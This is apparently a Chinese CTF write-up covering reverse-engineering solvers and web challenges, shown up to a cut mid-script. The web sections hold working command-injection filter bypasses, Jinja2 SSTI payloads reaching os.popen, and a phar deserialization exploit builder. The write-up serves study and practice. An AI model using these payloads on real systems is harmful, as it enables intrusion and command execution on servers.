可以看到,rc4加密时,先对数据 xor 0xc6。然后加密完成时,又对结果xor 0x73 然后才得到密文。因为这是RC4 加密算法。那么我们用常规rc4 解密出的数据 xor 0x73 xor 0xc6,就可以得到明文。

【具体原理参见 RC4加密算法原理简单理解 - 沉默的赌徒 - 博客园 (cnblogs.com)

# encoding=utf-8

from Crypto.Cipher import ARC4
import binascii
import hashlib
import base64

key = 'Hikari#a0344y3y#19301211'  # 动态调试得到
chipher = [0xF0, 0x90, 0x10, 0xB7, 0xD1, 0x6E, 0x1A, 0xBC, 0xFB, 0x56,
           0xE6, 0x93, 0x0C, 0xC0, 0xB5, 0x06, 0x4D, 0xBD, 0xF1, 0x9C,
           0xD1, 0x9A, 0x3D, 0x03, 0xCB, 0x16, 0x42, 0x9A, 0x4B, 0x22,
           0x10, 0x9D, 0xC6, 0x70, 0x65, 0xAA, 0xC0, 0x3E, 0x54, 0x33,
           0xF8, 0x42, 0x2A, 0xE0, 0x52, 0x19, 0xB4, 0x6A, 0xA2, 0x97,
           0xEE, 0x2A, 0x9D, 0xC2, 0x32, 0xED]

cipher_text = bytes(chipher)

print(cipher_text)
cipher = ARC4.new(key.encode())
decrypt_text = cipher.decrypt(cipher_text)
# print(decrypt_text)
# decrypt_text = base64.b64decode(decrypt_text)
for i in range(len(decrypt_text)):
    print(chr(decrypt_text[i]^0xc6^0x73),end='') # rc4 魔改位置

print()
print(base64.b64decode('ZmxhZ3tRQVFfaG93MmRlY29kZSMjcGxzX3RlQWNoX3RlVmNoX21lISF9'))

# cipher = ARC4.new(key.encode())
# plain_text = cipher.encrypt(decrypt_text)
# print(plain_text)

flag{QAQ_how2decode##pls_teAch_teVch_me!!}

mpz

0x01 搜索相关知识
hint:
lumina may be helpful

六角射线 - IDA 光彩 (hex-rays.com)

[原创]IDA lumina C# 服务端实现-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com

GitHub - synacktiv/lumina_server: IDA Lumina 功能的本地服务器

查阅到上面感觉有关的链接,可以知道lumina是一种快速库识别和识别的技术。

GitHub - naim94a/lumen: A private Lumina server for IDA Pro

这个可能就是题目说的lumina。但根据文章安装环境配置出错,,,

又尝试 mpz 相关搜索

c语言使用gmp库运算 - 简书 (jianshu.com)

(174条消息) Python gmpy2 mpz Methods_桃地睡不着的博客-CSDN博客(174条消息) Python gmpy2 mpz Methods_桃地睡不着的博客-CSDN博客

(174条消息) GMP库使用方法_play maker的博客-CSDN博客_gmp库

# ida 中发现的一些信息
GNU MP: Cannot reallocate memory (old_size=%lu new_size=%lu)

mpz(…)
mpz()返回一个设置为0的新mpz对象。
mpz(n) 从一个数值n返回一个新的mpz对象,如果n不是一个整数,它将被截断为一个整数。
mpz(s[, base=0]) 从一个由指定基数的数字组成的字符串s返回一个新的mpz对象。如果base=0,那么二进制、八进制或十六进制的Python字符串会被识别为前导0b、0o或0x字符。否则,字符串将被假定为十进制。基数的范围在2和62之间。

mpz_random(…)
mpz_random(random_state, n) 返回一个在0和n-1之间的均匀分布的随机整数。参数random_state必须先由random_state()创建。

mpz_rrandomb(…)
mpz_rrandomb(random_state, b)返回一个介于0和2b - 1之间的随机整数,在其二进制表示中具有长序列的0和1。参数random_state必须先由random_state()创建。
mpz_urandomb(…)
mpz_urandomb(random_state, b)返回一个在0和2b - 1之间的均匀分布的随机整数,参数random_state必须先由random_state()创建。

如上一波搜索,可以明确知道mpz 是个数学库,那么分析程序流程的时候,黑盒测试就有了侧重点。

0x02 程序分析

先ida简单分析一下

可以得到程序处理流程:

  1. 先将输入字符对应的hex,转化为小端序[v12]
  2. v9=v12-114514
  3. v9=v9*191980
  4. v9=(v9//(2**20)<<20)+0xf6760

然后将v9与密文比较,也就是v13。

【注意:这里后面的三个表达式关系,需要动态调试。类似黑盒测试的方式得到,同时题目是mpz,可联想到gmp 数学函数库,会有一些帮助】

0x03 解密流程

下面是黑盒测试的用例【用来分析函数功能】

# 下面是,动态调试,分析函数功能用到的黑盒测试

# 12345678ABCDEFGHIJKLMNOPQRSTUVWXYZ   这是test 用例

enc='089A5657565554535251504F4E4D4C4B4A4948474645444342413837363534333231'

enc_=''
for i in range(len(enc)-2,-2,-2):
    enc_+=enc[i:i+2]
num=int(enc_,16)
print(hex(num))

e='60677FE420496C8FB2D5F81B3F6285A8CBEE1135587B9EC1E407CB7E8AADD0F3163A1D90'

e_=''
for i in range(len(e)-2,-2,-2):
    e_+=e[i:i+2]
num1=int(e_,16)
print(hex(num1))

print(num1//num)

enc='089A5657565554535251504F4E4D4C4B4A4948474645444342413837363534333231'

enc_=''
for i in range(len(enc)-2,-2,-2):
    enc_+=enc[i:i+2]
num2=int(enc_,16)
print(hex(num2))

print(hex((num1//(2**20)<<20)+0xf6760))

分析清楚函数功能,开始解密:

# encoding=utf-8

enc='1853AA7A566DABCD46464646464646AA7F2C2D2D2D2D2D2D2D31C8AA8A5E738FE584092C01'  # ida dump出的密文,将其小端序

enc_=''
for i in range(len(enc)-2,-2,-2):
    enc_+=enc[i:i+2]

num=int(enc_,16)
# num=582872904048513552060243879638332414210812529746092910839742399777159917107350390592280

num=(num*(2**20)-0xf6760)>>20
num=num//191980
num+=114514

print(hex(num))

print(bytes.fromhex('666c61677b676d705f6c6c6c6c6c6c6c6c6c6c3131313131313131315f696e74217d'))  # flag{gmp_llllllllll111111111_int!}

flag{gmp_llllllllll111111111_int!}

Web

So Baby RCE

0x01 绕过技巧
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

(174条消息) CTFHub技能树笔记之RCE:命令注入、过滤cat、过滤空格_weixin_48799157的博客-CSDN博客_命令执行过滤空格

(174条消息) CTFWeb-命令执行漏洞过滤的绕过姿势_Tr0e的博客-CSDN博客_ctf 空格绕过

CTF中命令执行绕过方法 - FreeBuf网络安全行业门户

(174条消息) CTF下的命令执行_lemonl1的博客-CSDN博客_ctf 命令执行

CTF中的命令执行绕过方式 - 知乎 (zhihu.com)【比较全面】

参见上文:

# 一些绕过小技巧
1. cat
    1.使用单引号绕过 

    127.0.0.1; c''at flag_2287214057241.php |base64
    2.使用双引号绕过 

    127.0.0.1; c""at flag_2287214057241.php |base64
    3.利用Shell 特殊变量绕过

    127.0.0.1; ca$@t flag_2287214057241.php|base64

2.空格可以用以下字符代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

3.
a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的

4.>,+过滤
对于 >,+ 等 符号的过滤 ,$PS2变量为>,$PS4变量则为+

5.控制环境变量绕过

$PATH => "/usr/local/….blablabla”
${PATH:0:1} => '/'
${PATH:1:1} => 'u'
${PATH:0:4} => '/usr'

6.过滤斜杠/绕过
使用${HOME:0:1}代替/
0x02 RCE

查询足够多资料后,开始RCE【通过cd .. 逐步跳转到 根目录】

/?cmd=ec$@ho${IFS}${PATH}

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

/?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0als${IFS}

bin
boot
dev
etc
ffffllllaaaaggggg
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

/?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0ac$@at${IFS}ffff$@llllaaaaggggg

flag{bcba8204-fad9-4328-9072-afeafd94d764}

flag{bcba8204-fad9-4328-9072-afeafd94d764}

BabySSTI_Two

0x01 测试黑名单

SSTI/沙盒逃逸详细总结-安全客 - 安全资讯平台 (anquanke.com)

细说Jinja2之SSTI&bypass - FreeBuf网络安全行业门户

?name={{1+1}}  # + 过滤

/?name={{"hj"}}   # ""  过滤

?name={{'~'}}     # ~ 过滤

/?name={{'j s'}}  # 空格过滤 单引号可以使用

?name={{'a.b'}}   # . 可以使用

?name={{'a[]b'}}  # [] 可以使用

?name={{'a()b'}}  # () 可以使用

?name={{'()__'}}  # __ 可以使用

?name={{'popen'}}  # popen 过滤

?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}

# popen、eval、system 过滤
?name={{lipsum[request.args.t1][request.args.t2][request.args.t3]('os').popen('ls').read()}}&t1=__globals__&t2=__builtins__&t3=__import__

# 绕过 popen 通过 base64 编码 不可行
['cG9wZW4='.decode('base64')]  #popen
['ZXZhbA=='.decode('base64')]  #eval
("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64')) #__import__('os').popen('ls').read()

?name={{lipsum.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}}

?name={{joiner.__in''it__.__glob''als__.__bui''ltins__['__im''port__']('os').popen('ls').read()}}

# 可执行
?name={{[]['__c''lass__']['__ba''se__']['__subcl''asses__']()}}

# 利用脚本跑出利用函数位置
{{().__cl''ass__.__bas''es__[0].__su''bcl''asses__()[177].__in''it__.__glob''als__.__bu''iltins__['open']('ls').read()}}

?name={{[].__cla''ss__.__ba''se__.__subcla''sses__()[117].__in''it__.__glo''bals__['__built''ins__']['__imp''ort__']('os').__di''ct__['pop''en']('ls').read()}}

/?name={{''['__cla''ss__']['__bas''es__'][0]['__subcl''asses__']()[117]['__in''it__'].__glo''bals__['nepop'[::-1]]('id').read()}}
0x02 绕过测试
# __ 黑名单绕过

{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__

# [] 绕过 getitem() 用来获取序号

"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)


# encoding=utf-8

str1 = 'popen'
res = ''
for i in str1:
  res += "{0:c}"+"['format']({tmp})%2B".format(tmp=ord(i))
print(res[:-3])

for i in range(len(str1)):
    print(str(hex(ord(str1[i]))),end=',') # \x70\x6f\x70\x65\x6e

popen 绕过失败

SSTI注入绕过(沙盒逃逸原理一样) - 冬泳怪鸽 - 博客园 (cnblogs.com)

?name={{lipsum.__glo''bals__.__bu''iltins__['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk='.decode('base64'))}}

失败,不知道什么原因

https://blog.csdn.net/weixin_54515836/article/details/113778233

# 发现
166  <class 'warnings.catch_warnings'>

#调用commands进行命令执行
?name=
{{().__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

?name={{lipsum.__glo''bals__.__buil''tins__['__import__']('os').open('ereh_ni_galf/'[::-1],'r').read()}}
0x03 Rce success

尝试全hex 编码 ,数据构建脚本:

# encoding=utf-8

text = "{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}}"
print(text.encode())

enc = "{{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}"

i = 0
while i <= len(enc) - 1:
    if enc[i] == "'":
        print(enc[i], end='')
        k = i + 1
        while enc[k] != "'":
            print('\\x' + str(hex(ord(enc[k])))[2:], end='')
            k += 1
        print(enc[k], end='')
        i = k+1
        continue
    print(enc[i], end='')
    i += 1


# 尝试全hex 编码

?name={{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
======>  # 方便编码使用
?name={{lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
======>
?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}

name={{''['__class__']['__base__']['__subclasses__']()[64]['__init__']['__globals__']['__builtins__']['__import__']('os')['popen']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['read']()}}
====>
?name={{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x5f\x5f']['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[64]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('ls')['\x72\x65\x61\x64']()}}

# 发现成功读取 app.py

Welcome to NewStarCTF Again, Dear from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'CTFer')
    if not re.findall('class|init|mro|subclasses|flag|cat|env|"|eval|system|popen|globals|builtins|\+| |attr|\~', name):
        t = Template("

# 读取根目录
'ls${IFS}/'
Welcome to NewStarCTF Again, Dear app
bin
boot
dev
etc
flag_in_h3r3_52daad
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

# getflag
'c$@at${IFS}/fl$@ag_in_h3r3_52daad'

?name={{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('\x6f\x73')['\x70\x6f\x70\x65\x6e']('c$@at${IFS}/fl$@ag_in_h3r3_52daad')['\x72\x65\x61\x64']()}}

Welcome to NewStarCTF Again, Dear flag{903247b8-92e5-49c0-b40a-b69c2fe2db43}

flag{903247b8-92e5-49c0-b40a-b69c2fe2db43}\

UnserializeThree

hint

PHP反序列化漏洞系列第三题。当文件上传遇到反序列化,擦出爱(RCE)的火花
0x01 题目分析

可以上传图片,并会返回访问路径。

在index页面,发现class.php,访问得到:

<?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function __destruct()
    {
        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
    }
}

file_exists($_GET['file']);

详谈CTF中常出现的PHP反序列化漏洞 - FreeBuf网络安全行业门户

Phar (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本,那么Phar后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。而Phar文件中也存在反序列化的利用点:phar文件会以序列化的形式储存用户自定义的meta-data,在执行Phar文件时meta-data中用户自定义的元数据将被反序列化从而达到反序列化攻击的目的,这也扩展了PHP反序列化攻击的攻击面

这一利用出自2018年Blackhat大会上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper这个议题.

该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
0x02 phar 反序列化漏洞利用

显然本题的考点就是 phar:// 反序列化漏洞了

浅析Phar反序列化 - FreeBuf网络安全行业门户

(174条消息) phar反序列化+两道CTF例题_Z3eyOnd的博客-CSDN博客_ctf phar反序列化

构建phar 文件(174条消息) disabled by the php.ini setting phar.readonly_weixin_34004750的博客-CSDN博客

PHP绕过 | Lazzaro (lazzzaro.github.io)

<?php

class Evil{

    public $cmd="\r"."system('ls');";
}

$a = new Evil();

$phar = new Phar('test.phar',0,'test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');

$phar->setMetadata($a);
$phar->addFromString('text.txt','test');
$phar->stopBuffering();

#

$str="PHP_EOL";
$test1="\r";

$cmd=$test1."system('dir');";
//    .urldecode("%0a");

eval('#'.$cmd);

生成phar 包后,改名上传,并获取路径。

Saved to: upload/0412c29576c708cf0155e8de242169b1.jpg

0x03 绕过验证

可以看到已经成功,phar 反序列化利用了。但是还需要绕过验证

 if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
// 在前面拼接了 # 注释符,同时 过滤换行

//PHP_EOL  可替代换行 但是php过滤了 

// 由于php ? <> 等字符过滤
//php别名解析
//php3、php5、phtml能解析成php文件

//GIF89a?
<script  language="ph%00p">  @eval($_REQUEST['pass']);
</script>

一番尝试后,发现回车"\r",与换行有相同作用,可以绕过,成功rce

public $cmd="\r"."system('ls');";

bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

# 得到flag

public $cmd="\r"."system('cat flag');";

flag{ba275b97-c9fe-4030-94a9-ef44a2dc3dc5}

flag{ba275b97-c9fe-4030-94a9-ef44a2dc3dc5}

Re

拔丝溜肆 (easy)

0x01 程序分析

main_

是个base64 加密:

这里值得注意的是,每次编码的时候,都使用源base64表移位获得。

所以,需要动调获得每次的移位值。

key = [0x29, 0x28, 0x39, 0xa, 0x3e, 0x1e, 0x3b, 0x19, 0x0c, 0x0, 0x2e, 0x3a, 0x1, 0x18]

直接通过每轮移位值,进行变表解编码得到flag。

0x02 base 变表解编码
# encoding=utf-8

print("x" * 42)

# 变表base
import base64

change_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

str1 = 'CPaKBfUZFcNwW9qCKgyvuS2PGPQ9mttGc/wCNS0w6hDwGOSsOkOEkL5V'

key = [0x29, 0x28, 0x39, 0xa, 0x3e, 0x1e, 0x3b, 0x19, 0x0c, 0x0, 0x2e, 0x3a, 0x1, 0x18]

for i in range(0, len(str1), 4):
    tmp=list(table)
    new_table=[0]*64
    for k in range(len(tmp)):
        new_table[k]=tmp[(key[i//4]+k)%64]
    change_table=''.join(new_table)
    print(str(base64.b64decode(str1[i:i+4].translate(str.maketrans(change_table, table))))[2:2+3], end='')

# flag{12573882-1CF1-EB5E-C965-035B1F263C38}

flag{12573882-1CF1-EB5E-C965-035B1F263C38}

E4sy_Mix (hard)

0x01 smc 自修改

一般有两种方案解决:

  1. 直接动调让程序自己运行恢复【题目有debug,动态调试需绕过】。

  2. idc 脚本,直接修改也能得到。

这里使用第一种,动态调试得到正确逻辑!【这种比较简单,同时可以得到一些运行数据,更容易求出flag】

修改逻辑,绕过即可。得到正常函数:

加密逻辑,很简单:

  for ( i = 0; i < result; ++i )
  {
    v3 = (v3 + 1) % 256;                        // 右移1
    v5 = byte_404490[v3];
    v4 = (v5 + v4) % 256;
    byte_404490[v3] = byte_404490[v4];
    byte_404490[v4] = v5;
    *(_BYTE *)(i + a1) ^= byte_404490[(unsigned __int8)(v5 + byte_404490[v3])];
  }
0x02 py解密
# encoding=utf-8

print("x" * 33)

byte_404490=\
[  0x61, 0x07, 0xD5, 0x8A, 0x69, 0x78, 0x2D, 0x56, 0xD1, 0x7C,
  0x1E, 0x0E, 0x0C, 0x0F, 0x64, 0x30, 0x14, 0xC5, 0x3C, 0xB0,
  0x37, 0x41, 0x1C, 0x17, 0x6A, 0xB5, 0x4A, 0xB9, 0x3D, 0x4D,
  0xF2, 0xB7, 0x38, 0xB8, 0x7B, 0x9F, 0x48, 0x7F, 0xE5, 0xD2,
  0xA8, 0xEE, 0xB3, 0x2F, 0xC1, 0x5A, 0xCE, 0x0B, 0x2A, 0x94,
  0x50, 0xCA, 0x71, 0x72, 0xA9, 0xE1, 0x67, 0xDE, 0x28, 0x76,
  0x31, 0x09, 0x3E, 0xE2, 0x3F, 0xA7, 0x20, 0xFE, 0x26, 0x42,
  0x7A, 0xD9, 0x4C, 0xD6, 0x63, 0x23, 0x34, 0xC3, 0x08, 0x92,
  0xAB, 0x18, 0x91, 0x3B, 0xAD, 0x1A, 0x4E, 0xA5, 0xF0, 0x83,
  0xB6, 0x05, 0x77, 0xC7, 0xC6, 0x8E, 0x90, 0x5D, 0x19, 0x6D,
  0x33, 0x1B, 0xF8, 0x45, 0xAC, 0x9A, 0x96, 0xA6, 0x79, 0xC0,
  0x00, 0x02, 0xDB, 0x53, 0x68, 0x6B, 0x10, 0x6F, 0x98, 0xDF,
  0x84, 0x0A, 0x47, 0x40, 0x13, 0xF3, 0xAF, 0x12, 0xBA, 0x8B,
  0xD7, 0xCB, 0x9B, 0xF6, 0xC8, 0x9C, 0xE0, 0x01, 0x5B, 0xE3,
  0xA2, 0x06, 0x03, 0xDA, 0x2E, 0x75, 0xC2, 0x74, 0xDD, 0xFB,
  0xFD, 0xEA, 0xA1, 0x81, 0xBB, 0x65, 0x25, 0x44, 0xD8, 0x24,
  0x39, 0xBF, 0x57, 0x0D, 0xEC, 0x70, 0xFC, 0xBD, 0x59, 0x4B,
  0x49, 0x86, 0xCD, 0xE7, 0x73, 0xA0, 0x8D, 0x1D, 0xDC, 0x5E,
  0x97, 0x87, 0xC9, 0xCC, 0x7D, 0x7E, 0x80, 0x16, 0xBC, 0xD3,
  0xEB, 0xF4, 0x58, 0x51, 0x43, 0xF9, 0xCF, 0xBE, 0xF1, 0x66,
  0xD4, 0xF7, 0x04, 0x5F, 0x21, 0xED, 0x32, 0xAE, 0x15, 0x27,
  0xEF, 0x2C, 0xE9, 0x36, 0xFA, 0x5C, 0x29, 0x93, 0x35, 0x95,
  0xE8, 0xA3, 0x52, 0x6E, 0x8F, 0xB4, 0xE4, 0x9D, 0xAA, 0x62,
  0x3A, 0xA4, 0xD0, 0x4F, 0x8C, 0x46, 0x22, 0xB2, 0xB1, 0x89,
  0x55, 0x9E, 0xFF, 0x11, 0xC4, 0x2B, 0x1F, 0xE6, 0x6C, 0x85,
  0x60, 0xF5, 0x99, 0x88, 0x82, 0x54]

enc=[  0xA1, 0xBF, 0xB6, 0x70, 0x63, 0x5B, 0x3B, 0xED, 0xF4, 0x91,
  0x81, 0xA4, 0xBD, 0x3A, 0x53, 0x86, 0x5B, 0x8C, 0xDB, 0x41,
  0x1B, 0x73, 0xE1, 0xD1, 0xF2, 0xB2, 0xDF, 0x6E, 0x16, 0x56,
  0x22, 0x42, 0xFC]

v3 = 0
v4 = 0
flag=[0]*len(enc)
for i in range(len(enc)):
    v3 = (v3 + 1) % 256   # 右移1
    v5 = byte_404490[v3]
    v4 = (v5 + v4) % 256
    byte_404490[v3] = byte_404490[v4]
    byte_404490[v4] = v5
    flag[i]= byte_404490[(v5 + byte_404490[v3])&0xff]^enc[i]

for i in range(len(flag)):
    print(chr(flag[i]),end='')

flag{RC4_and_SMC_is_interesting!}

最后附上idc python:

直接Shift + F2 运行脚本,优点是,也能得到调试获得的结果,且便捷;缺点是,运行的数据获取不到,需要自己求解】

import ida_bytes
for ea in range(0x402000,0x402000+53,1):
  ida_bytes.patch_dword(ea,ida_bytes.get_original_dword(ea)^0x54)

Petals Level Up (easy)

0x01 程序分析

__asm { jmp     r15 }

# 发现上面内联 汇编指令,实现程序的跳转

处理方式就是动态调试【或者可以,自行计算出r15但显然比较麻烦】

0x02 程序动态调试跟进

这里对输入,有一次处理!

input 值在映射表中的位置,作为新值替代input:

映射表生成如下:

  for ( i = 0; i <= 255; ++i )
    *((_BYTE *)v3 + i) = ~(i ^ a2);

可以看到将输入 进行 移位 xor 操作【但是这里后面存在 jmp r15,所以需要查看汇编指令又进行了那些操作】

汇编跳转如下:

又进行了两次 移位 xor 运算:

【上面,移位4时,xor 0x7a,标注错了】

同时末尾,又xor input[i+1]。这里动态调试获得!

下面是密文比较: md5 ,加密小写提交

如上分析:就可以得到下面的加密流程: # 最后一轮 xor input[0]

    *a1 = (*a1 << 7) | (*a1 >> 1);
    *a1 ^= 0x71u;
    *a1 = (*a1 << 6) | ((unsigned __int8)*a1 >> 2);
    *a1 ^= 0x73u;
    *a1 = (*a1 << 5) | (*a1 >> 3);
    *a1 ^= 0x64u;
    *a1 = (*a1 << 4) | ((unsigned __int8)*a1 >> 4);
    *a1 ^= 0x7Au;
    *a1 ^= *(a1+1)
0x03 解密py

先写出加密逻辑,进行测试:【与程序运行结果相同,说明分析正确】

# encoding=utf-8

enc=[0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x31,
  0xC3, 0x6E, 0x24, 0xE3, 0x7C, 0xFF, 0xDA, 0xF9, 0x75, 0xF2,
  0x60, 0xBF, 0x33, 0xE3, 0x65, 0xA6, 0x62, 0x2A, 0x65, 0x24,
  0xB4, 0xBA]

def RoL(num,bit):
    return ((num<<bit)|(num>>(8-bit)))&0xff

# 生成映射表
table=[0]*256
len_=len(enc)
for i in range(256):
    table[i]=(~(i^len_))&0xff

print(hex(table.index(ord('x'))))
test='1234567890987654321112345678abcd'

print(table)
flag=[0]*len(enc)

for i in range(len(test)):
    tmp=table.index(ord(test[i]))
    tmp = RoL(tmp, 7)
    tmp ^= 0x71
    tmp = RoL(tmp, 6)
    tmp ^= 0x73
    tmp = RoL(tmp, 5)
    tmp ^= 0x64
    tmp = RoL(tmp, 4)
    tmp^=0x7a

    if i != len(test)-1:
        tmp^=table.index(ord(test[i+1]))
    else:
        tmp^=flag[0]
    flag[i]=tmp
    print(hex(tmp),end=',')

测试正确:写出解密逻辑,得到flag。

解密py:

# encoding=utf-8

import hashlib

enc=[0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x79, 0xF1, 0x70, 0xB3, 0x31,
  0xC3, 0x6E, 0x24, 0xE3, 0x7C, 0xFF, 0xDA, 0xF9, 0x75, 0xF2,
  0x60, 0xBF, 0x33, 0xE3, 0x65, 0xA6, 0x62, 0x2A, 0x65, 0x24,
  0xB4, 0xBA]

def RoR(num,bit):
    return ((num>>bit)|(num<<(8-bit)))&0xff

# 生成映射表
table=[0]*256
len_=len(enc)
for i in range(256):
    table[i]=(~(i^len_))&0xff

flag=[0]*len(enc)

flag[0]=enc[0]
for i in range(len(enc)-1,-1,-1):
    if i == len(enc)-1:
        tmp=flag[0]^enc[i]
    else:
        tmp=enc[i]^flag[i+1]

    tmp^=0x7a
    tmp=RoR(tmp,4)
    tmp^=0x64
    tmp=RoR(tmp,5)
    tmp^=0x73
    tmp=RoR(tmp,6)
    tmp^=0x71
    tmp=RoR(tmp,7)

    flag[i]=tmp
    print(tmp)

print(flag)
for i in range(len(flag)):  #bakabakaba#AtsukoKagari#aw1dyq2r
    print(chr(table[flag[i]]),end='')
print()
print(hashlib.md5('bakabakaba#AtsukoKagari#aw1dyq2r'.encode()).hexdigest())

flag{d5658c0b4c44d4672d76b563a8505a66}

【这题或许可以,静态修改跳转逻辑,使其能够F5 反汇编,可能会容易很多,不然分析汇编代码,容易漏掉细节,耗时大】

有时间可以尝试一下。

Virtual Self (middle)

0x01 VM opcode 转换为 可理解语句

特征很明显,是VM 类型题目。程序的加密逻辑是固定的,但是由于将其加密过程转化为未知 opcode 进行翻译。所以直觉上,运行规律是不可理解的。

那么现在就需要,将其opcode 码,转化为可理解的 伪汇编代码!!!

首先 用 idcpython 将 opcode dump出来:【动态调试 过程中dump】

import idaapi

start_address=0x00007FFC2B201890
end_address=0x00007FFC2B2021E0+1
data_length= end_address-start_address

data = idaapi.dbg_read_memory(start_address, data_length)
fp = open(r'F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\week5\Re\Virtual Self (middle)\opcode', 'wb')
fp.write(data)
fp.close()

指令长度 为 4:

opcode[0]===>运算类型 如 mov sub add等

opcode[1]===>细分运算类型 如 mov 的不同用法类别

opcode[2]、opcode[3] 操作数

print 出可理解伪汇编:

# encoding=utf-8

import binascii
import hashlib

with open(r'F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\week5\Re\Virtual Self (middle)\opcode', 'rb') as f:
    opcode = f.read()

# opcode_=binascii.hexlify(opcode)
# print(opcode_)

opcode = bytes(opcode)

# 下面程序相当于将程序 vm 走了一遍。用python 代码
# opcode=[0]*((len(opcode_)//2))
# for i in range(0,len(opcode_),2):
#     opcode[int(i//2)]=int(opcode_[i:i+2],16)

print('x' * 29)

i = 0
while opcode[i] != 0xff:

    if opcode[i] == 224:  # mov
        if opcode[i + 1] == 0:
            print("mov reg[", opcode[i + 2] - 208, "] ", "reg[", opcode[i + 3] - 208, "]")
        elif opcode[i + 1] == 1:
            print("mov reg[", opcode[i + 2] - 208, "] ", "input[", opcode[i + 3], "]")
        elif opcode[i + 1] == 2:
